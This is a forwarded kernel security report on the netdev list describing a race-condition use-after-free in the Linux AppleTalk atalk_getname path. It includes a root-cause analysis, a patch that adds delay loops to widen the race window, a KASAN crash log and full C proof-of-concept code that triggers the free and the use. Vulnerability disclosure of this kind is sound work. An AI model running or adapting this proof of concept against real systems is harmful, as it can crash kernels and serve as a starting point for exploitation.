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Date: Sat, 7 Oct 2023 08:40:49 +0200
From: Willy Tarreau <w@....eu>
To: netdev@...r.kernel.org
Cc: rootlab@...wei.com
Subject: Fwd: Race Condition Vulnerability in atalk_getname of nfc module
leading to UAF
Hello,
Sili Luo of Huawei sent this to the security list. Eric and I think it
does not deserve special handling from the security team and will be
better addressed here.
Regards,
Willy
PS: actually there were 8, not 6 reports for atalk in this series.
----- Forwarded message from rootlab <rootlab@...wei.com> -----
> Date: Sat, 7 Oct 2023 03:11:48 +0000
> From: rootlab <rootlab@...wei.com>
> Subject: Race Condition Vulnerability in atalk_getname of nfc module leading to UAF
> To: "security@...nel.org" <security@...nel.org>
> Delivered-To: security@...nel.org
>
> I recently found an race condition Vulnerability in the atalk_getname, which leads to the kernel access free'd stalk_addr object.
>
> The vulnerability code presented below is located in Linux 6.5-rc5, and it is possible that other versions may also be affected.
>
> [Root Cause]
>
> key code of atalk_getname:
>
> * atalk_getname
>
> * atalk_autobind
>
> * struct atalk_addr *ap = atalk_find_primary()
> * use ap
>
> important notes:
>
> * atalk_getname hold the lock of sk , then it call atalk_autobind.
> * atalk_autobind use atalk_find_primary to find the ap and use the ap.
>
> atalk_find_primary will search for iface from the atalk_interfaces linked list and finally return &fiface->address
>
> static struct atalk_addr *atalk_find_primary(void)
> {
> struct atalk_iface *fiface = NULL;
> struct atalk_addr *retval;
> struct atalk_iface *iface;
>
> /*
> * Return a point-to-point interface only if
> * there is no non-ptp interface available.
> */
> read_lock_bh(&atalk_interfaces_lock);
> for (iface = atalk_interfaces; iface; iface = iface->next) {
> if (!fiface && !(iface->dev->flags & IFF_LOOPBACK))
> fiface = iface;
> if (!(iface->dev->flags & (IFF_LOOPBACK | IFF_POINTOPOINT))) {
> retval = &iface->address;
> goto out;
> }
> }
>
> if (fiface)
> retval = &fiface->address;
> else if (atalk_interfaces)
> retval = &atalk_interfaces->address;
> else
> retval = NULL;
> out:
> read_unlock_bh(&atalk_interfaces_lock);
> return retval;
> }
>
>
> iface can be free'd through ioctl(at_fd, SIOCDIFADDR, &atreq);.
>
> * atalk_ioctl
>
> * rtnl_lock();
>
> * atalk_dev_down
>
> * atif_drop_device
>
> * kfree(tmp);
> * rtnl_unlock();
>
> During the atalk_ioctl --> atif_drop_device process, only the rtnl lock is obtained. Inconsistency between the rtnl lock and the atalk_bind lock causes UAF.
>
> Time
> +
> |
> thread A | thread B
> atalk_autobi | ioctl --> atalk_dev_down
> |
> |
> 1.struct atalk_addr *ap = atalk_find_primary() |
> |
> |
> | 2.atif_drop_device(dev) --> free ap
> |
> |
> // UAF! |
> 3.use ap |
> +
>
>
> [Patch Suggestion]
>
> 1. add refcount for struct atalk_addr
> 2. Use the right lock
>
> [Proof-of-Concept]
>
> The POC is at the end of the email.
>
> Test Environment:qemu x86_64 + linux 6.5-rc5 + kasan
>
> To increase the probability of race, I add some loops to the race part of the code ( atalk_autobind ) to increase the time window.
>
> the dxxx() function just do some loop to increase the time window.
>
> From 92be4dc3450dda7016bced0b5fcd59bfdc2f8c92 Mon Sep 17 00:00:00 2001
> From: luosili <rootlab@...wei.com>
> Date: Wed, 27 Sep 2023 18:19:34 +0800
> Subject: [PATCH] appletalk: patch for race in atalk_getname
>
> add some loops in the race code.
>
> Signed-off-by: luosili <rootlab@...wei.com>
> ---
> net/appletalk/ddp.c | 14 ++++++++++++++
> 1 file changed, 14 insertions(+)
>
> diff --git a/net/appletalk/ddp.c b/net/appletalk/ddp.c
> index 8978fb6212ff..2656a35df80b 100644
> --- a/net/appletalk/ddp.c
> +++ b/net/appletalk/ddp.c
> @@ -1114,6 +1114,19 @@ try_next_port:;
> return retval;
> }
>
> +#pragma GCC push_options
> +#pragma GCC optimize ("O0")
> +noinline u64 dxxx(void)
> +{
> + u64 xxx = 0;
> + for (size_t i = 0; i < 100000000; i++) {
> + xxx *= 0x241;
> + xxx += 0x1234;
> + }
> + return xxx;
> +}
> +#pragma GCC pop_options
> +
> static int atalk_autobind(struct sock *sk)
> {
> struct atalk_sock *at = at_sk(sk);
> @@ -1121,6 +1134,7 @@ static int atalk_autobind(struct sock *sk)
> struct atalk_addr *ap = atalk_find_primary();
> int n = -EADDRNOTAVAIL;
>
> + dxxx();
> if (!ap || ap->s_net == htons(ATADDR_ANYNET))
> goto out;
>
> --
> 2.25.1
>
>
>
> panic log
>
> # /tmp/atalk_getname
> fd: 3
> [ 32.238260] ==================================================================
> [ 32.240272] BUG: KASAN: slab-use-after-free in atalk_autobind+0x82/0x150 [appletalk]
> [ 32.242194] Read of size 2 at addr ffff88800d2e0248 by task atalk_getname/164
> [ 32.243805]
> [ 32.244170] CPU: 1 PID: 164 Comm: atalk_getname Tainted: G OE 6.5.0-rc5 #7
> [ 32.246107] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
> [ 32.248182] Call Trace:
> [ 32.248801] <TASK>
> [ 32.249337] dump_stack_lvl+0x4c/0x70
> [ 32.250208] print_report+0xd3/0x620
> [ 32.251028] ? kasan_complete_mode_report_info+0x7d/0x200
> [ 32.252268] ? atalk_autobind+0x82/0x150 [appletalk]
> [ 32.253500] kasan_report+0xc2/0x100
> [ 32.254360] ? atalk_autobind+0x82/0x150 [appletalk]
> [ 32.255547] __asan_load2+0x7d/0xb0
> [ 32.256364] atalk_autobind+0x82/0x150 [appletalk]
> [ 32.257567] ? __pfx_atalk_autobind+0x10/0x10 [appletalk]
> [ 32.258843] ? aa_sk_perm+0x183/0x3b0
> [ 32.259723] ? _raw_spin_unlock_bh+0x21/0x30
> [ 32.260710] atalk_getname+0xba/0x210 [appletalk]
> [ 32.261933] ? __pfx_atalk_getname+0x10/0x10 [appletalk]
> [ 32.263283] __sys_getsockname+0xeb/0x180
> [ 32.264303] ? __pfx___sys_getsockname+0x10/0x10
> [ 32.265406] ? __kasan_check_write+0x18/0x20
> [ 32.266436] ? switch_fpu_return+0x9f/0x150
> [ 32.267497] ? exit_to_user_mode_prepare+0x9b/0x190
> [ 32.268729] ? syscall_exit_to_user_mode+0x2a/0x50
> [ 32.269854] __x64_sys_getsockname+0x47/0x60
> [ 32.270861] do_syscall_64+0x60/0x90
> [ 32.271692] ? exit_to_user_mode_prepare+0x9b/0x190
> [ 32.272846] ? syscall_exit_to_user_mode+0x2a/0x50
> [ 32.274062] ? ret_from_fork+0x2d/0x70
> [ 32.274999] entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 32.276215] RIP: 0033:0x4605cb
> [ 32.276990] Code: 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa b8 33 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
> [ 32.281398] RSP: 002b:00007fa018906d88 EFLAGS: 00000246 ORIG_RAX: 0000000000000033
> [ 32.283236] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00000000004605cb
> [ 32.285048] RDX: 0000000000000010 RSI: 00007fa018906d90 RDI: 0000000000000003
> [ 32.286726] RBP: 00007fa018906db0 R08: 0000000000000000 R09: 00007fa018907700
> [ 32.288387] R10: 00007fa0189079d0 R11: 0000000000000246 R12: 00007ffd916160ae
> [ 32.290208] R13: 00007ffd916160af R14: 00007ffd916160b0 R15: 00007fa018906e80
> [ 32.292133] </TASK>
> [ 32.292712]
> [ 32.293089] Allocated by task 162:
> [ 32.293893] kasan_save_stack+0x2a/0x50
> [ 32.294898] kasan_set_track+0x29/0x40
> [ 32.295817] kasan_save_alloc_info+0x1f/0x30
> [ 32.296875] __kasan_kmalloc+0xb5/0xc0
> [ 32.297863] kmalloc_trace+0x4e/0xb0
> [ 32.298812] atif_ioctl+0x904/0xaf0 [appletalk]
> [ 32.300002] atalk_ioctl+0x124/0x210 [appletalk]
> [ 32.301189] sock_do_ioctl+0xb9/0x1a0
> [ 32.302168] sock_ioctl+0x1b1/0x420
> [ 32.303092] __x64_sys_ioctl+0xd1/0x110
> [ 32.304116] do_syscall_64+0x60/0x90
> [ 32.305070] entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 32.306276]
> [ 32.306643] Freed by task 163:
> [ 32.307359] kasan_save_stack+0x2a/0x50
> [ 32.308335] kasan_set_track+0x29/0x40
> [ 32.309277] kasan_save_free_info+0x2f/0x50
> [ 32.310296] __kasan_slab_free+0x12e/0x1c0
> [ 32.311252] __kmem_cache_free+0x1b9/0x380
> [ 32.312214] kfree+0x7a/0x120
> [ 32.312960] atif_drop_device+0xad/0x100 [appletalk]
> [ 32.314281] atif_ioctl+0x1f9/0xaf0 [appletalk]
> [ 32.315484] atalk_ioctl+0x124/0x210 [appletalk]
> [ 32.316678] sock_do_ioctl+0xb9/0x1a0
> [ 32.317678] sock_ioctl+0x1b1/0x420
> [ 32.318606] __x64_sys_ioctl+0xd1/0x110
> [ 32.319617] do_syscall_64+0x60/0x90
> [ 32.320568] entry_SYSCALL_64_after_hwframe+0x6e/0xd8
> [ 32.321759]
> [ 32.322177] The buggy address belongs to the object at ffff88800d2e0240
> [ 32.322177] which belongs to the cache kmalloc-32 of size 32
> [ 32.325341] The buggy address is located 8 bytes inside of
> [ 32.325341] freed 32-byte region [ffff88800d2e0240, ffff88800d2e0260)
> [ 32.328094]
> [ 32.328513] The buggy address belongs to the physical page:
> [ 32.329892] page:0000000097ead656 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xd2e0
> [ 32.332226] flags: 0xfffffc0000200(slab|node=0|zone=1|lastcpupid=0x1fffff)
> [ 32.334025] page_type: 0xffffffff()
> [ 32.334944] raw: 000fffffc0000200 ffff888006842500 dead000000000122 0000000000000000
> [ 32.336910] raw: 0000000000000000 0000000000400040 00000001ffffffff 0000000000000000
> [ 32.338722] page dumped because: kasan: bad access detected
> [ 32.340072]
> [ 32.340429] Memory state around the buggy address:
> [ 32.341596] ffff88800d2e0100: 00 00 00 00 fc fc fc fc 00 00 00 02 fc fc fc fc
> [ 32.343301] ffff88800d2e0180: fa fb fb fb fc fc fc fc 00 00 03 fc fc fc fc fc
> [ 32.345141] >ffff88800d2e0200: fa fb fb fb fc fc fc fc fa fb fb fb fc fc fc fc
> [ 32.346985] ^
> [ 32.348437] ffff88800d2e0280: 00 00 03 fc fc fc fc fc 00 00 00 fc fc fc fc fc
> [ 32.350308] ffff88800d2e0300: 00 00 03 fc fc fc fc fc 00 00 00 fc fc fc fc fc
> [ 32.352381] ==================================================================
> [ 32.374651] Disabling lock debugging due to kernel taint
> #
>
>
> [CREDIT]
>
> Sili Luo
> RO0T Lab of Huawei
>
> poc
>
> #define _GNU_SOURCE
> #include <errno.h>
> #include <fcntl.h>
> #include <linux/if_tun.h>
> #include <linux/atalk.h>
> #include <net/if.h>
> #include <pthread.h>
> #include <sched.h>
> #include <stdio.h>
> #include <string.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <time.h>
> #include <unistd.h>
>
>
> #include <linux/if_ether.h>
> #include <linux/if_packet.h>
> #include <linux/if_x25.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <unistd.h>
>
> #include <linux/if_ether.h>
> #include <linux/if_packet.h>
> #include <linux/if_x25.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <unistd.h>
>
> #include <arpa/inet.h>
> #include <linux/if_packet.h>
> #include <net/ethernet.h>
> #include <netinet/if_ether.h>
> #include <netinet/in.h>
> #include <netinet/ip.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/socket.h>
> #include <net/route.h>
>
>
> void pincpu(int cpu) {
> cpu_set_t set;
> CPU_ZERO(&set);
> CPU_SET(cpu, &set);
> if (sched_setaffinity(0, sizeof(cpu_set_t), &set) < 0) {
> perror("setaffinity");
> }
> }
>
> int at_fd;
>
> #define THREAD_NUMS 2
> pthread_barrier_t barrier;
>
>
> void del() {
>
> struct ifreq atreq;
> strcpy(atreq.ifr_ifrn.ifrn_name, "lo");
>
> struct sockaddr_at * sa = (struct sockaddr_at *)&atreq.ifr_addr;
>
> sa->sat_family = AF_APPLETALK;
> struct atalk_netrange * nr = (struct atalk_netrange *)&sa->sat_zero[0];
> nr->nr_phase = 2;
> sa->sat_addr.s_node = 3;
> sa->sat_addr.s_net = 12;
>
> ioctl(at_fd, SIOCDIFADDR, &atreq);
> }
>
> void free_thread() {
> pincpu(0);
>
> srand(time(NULL));
>
>
> usleep(35000);
>
> struct ifreq atreq;
> strcpy(atreq.ifr_ifrn.ifrn_name, "lo");
>
> struct sockaddr_at * sa = (struct sockaddr_at *)&atreq.ifr_addr;
>
> sa->sat_family = AF_APPLETALK;
> struct atalk_netrange * nr = (struct atalk_netrange *)&sa->sat_zero[0];
> nr->nr_phase = 2;
> sa->sat_addr.s_node = 3;
> sa->sat_addr.s_net = 12;
>
> ioctl(at_fd, SIOCDIFADDR, &atreq);
> }
>
> void use_thread() {
> pincpu(1);
> struct sockaddr addr = {0};
> getsockname(at_fd, &addr, sizeof(struct sockaddr));
> }
>
> #define ETH_P_X25 0x0805
>
> int send_pkt2() {
> int sockfd;
> struct sockaddr_ll sa;
> struct ether_header eth_header;
> struct iphdr ip_header;
> char packet[ETH_FRAME_LEN];
> char *interface = "lo"; // Replace with your desired interface name
>
> // Create socket
> sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_PPPTALK));
> if (sockfd == -1) {
> perror("socket");
> return 1;
> }
>
> // Set interface index
> memset(&sa, 0, sizeof(struct sockaddr_ll));
> sa.sll_family = AF_PACKET;
> sa.sll_protocol = htons(ETH_P_PPPTALK);
> sa.sll_ifindex = if_nametoindex(interface);
>
> // Set Ethernet header
> memset(ð_header, 0, sizeof(struct ether_header));
> eth_header.ether_shost[0] = 0x00; // Source MAC address
> eth_header.ether_shost[1] = 0x11;
> eth_header.ether_shost[2] = 0x22;
> eth_header.ether_shost[3] = 0x33;
> eth_header.ether_shost[4] = 0x44;
> eth_header.ether_shost[5] = 0x55;
> eth_header.ether_dhost[0] = 0x66; // Destination MAC address
> eth_header.ether_dhost[1] = 0x77;
> eth_header.ether_dhost[2] = 0x88;
> eth_header.ether_dhost[3] = 0x99;
> eth_header.ether_dhost[4] = 0xAA;
> eth_header.ether_dhost[5] = 0xBB;
> eth_header.ether_type = htons(ETH_P_X25);
>
> // Set IP header
> memset(&ip_header, 0x22, sizeof(struct iphdr));
>
> memcpy(packet, ð_header, sizeof(struct ether_header));
>
> uint8_t *ptr = packet + sizeof(struct ether_header);
>
> *(uint64_t *)ptr = 0x11223344;
>
> // Send the packet
> if (sendto(sockfd, packet, sizeof(struct ether_header) + 4, 0,
> (struct sockaddr *)&sa, sizeof(struct sockaddr_ll)) == -1) {
> perror("sendto");
> return 1;
> }
>
> printf("Packet sent successfully.\n");
>
> // Close the socket
> close(sockfd);
>
> return 0;
> }
>
> #define ETH_P_X25 0x0805
>
> int send_pkt() {
> // ???????
> int sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_X25));
> if (sockfd == -1) {
> perror("Socket creation failed");
> exit(EXIT_FAILURE);
> }
>
> // ??socket????
> struct sockaddr_ll sa;
> memset(&sa, 0, sizeof(struct sockaddr_ll));
> sa.sll_family = AF_PACKET;
> sa.sll_protocol = htons(ETH_P_X25);
>
> // ??????
> sa.sll_ifindex = if_nametoindex("eth0");
> if (sa.sll_ifindex == 0) {
> perror("Interface not found");
> close(sockfd);
> exit(EXIT_FAILURE);
> }
>
> // ??X.25???
> char packet[] = {0x00, 0x00, 0x00, 0x00, // X.25?
> // ??X.25?????
> 0x11, 0x22, 0x33};
>
> // ?????
> if (sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&sa,
> sizeof(struct sockaddr_ll)) == -1) {
> perror("Packet sending failed");
> close(sockfd);
> exit(EXIT_FAILURE);
> }
>
> printf("Packet sent successfully\n");
>
> // ?????
> close(sockfd);
>
> return 0;
> }
>
> int main() {
>
>
> at_fd = socket(PF_APPLETALK, SOCK_DGRAM, 0);
> printf("fd: %d\n", at_fd);
>
> del();
>
> struct ifreq atreq;
> strcpy(atreq.ifr_ifrn.ifrn_name, "lo");
>
> struct sockaddr_at * sa = (struct sockaddr_at *)&atreq.ifr_addr;
>
> sa->sat_family = AF_APPLETALK;
> struct atalk_netrange * nr = (struct atalk_netrange *)&sa->sat_zero[0];
> nr->nr_phase = 2;
> sa->sat_addr.s_node = 3;
> sa->sat_addr.s_net = 12;
>
> ioctl(at_fd, SIOCSIFADDR, &atreq);
>
>
>
>
> pthread_barrier_init(&barrier, NULL, THREAD_NUMS);
>
> pthread_t ids[2] = {0};
> pthread_create(&ids[0], NULL, (void *)free_thread, NULL);
> pthread_create(&ids[1], NULL, (void *)use_thread, NULL);
>
> pthread_join(ids[0], NULL);
> pthread_join(ids[1], NULL);
> }
>
>
----- End forwarded message -----
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